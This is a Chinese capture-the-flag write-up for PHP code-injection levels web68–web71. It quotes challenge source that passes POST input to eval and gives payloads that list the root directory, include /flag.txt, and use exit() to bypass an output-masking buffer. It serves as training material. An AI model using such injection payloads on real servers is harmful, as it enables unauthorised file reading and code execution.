web68
还是那句话,没看到flag在哪,那就优先找到flag位置
这里c=var_dump(scandir("/"));
直接输出根目录的位置,然后查看源代码,发现flag位置为flag.txt
知道flag在根目录下面的flag.txt直接访问就好了
c=include('/flag.txt');
web69
payload:c=include('/flag.txt');
上题payload没有禁用,直接白嫖!
web70
payload:c=include('/flag.txt');
上题payload没有禁用,直接白嫖!
web71
首先拿到一串代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
代码审计:
-
使用
ob_get_contents()
和ob_end_clean()
函数获取并清除输出缓冲区中的内容。这是为了捕获执行命令后的结果,并将其传递给preg_replace()
函数进行处理。 -
使用
preg_replace("/[0-9]|[a-z]/i","?",$s)
将输出结果中的数字和小写字母替换为?
,然后将结果进行输出。
ps:害怕小白不懂,解释下。缓冲区(Buffer)是计算机系统中的一块内存区域,用于临时存储数据。它可以在数据传输之间起到缓冲和调节作用,以提高数据传输的效率或解决传输速度不匹配的问题。
先把上题payload看看能不能白嫖啊
c=include('/flag.txt');
好小子,看来你是要上天啊!
根据代码审计结果,既然会把输出结果中的数字和小写字母替换为 ?
那不用缓冲区不就好了!
最后加一个exit();
c=include('/flag.txt');exit();
真诚希望我的文章能够帮助大家,谢谢!过年写下这篇文章总觉得还得加上一句:
祝愿大家龙年吉祥!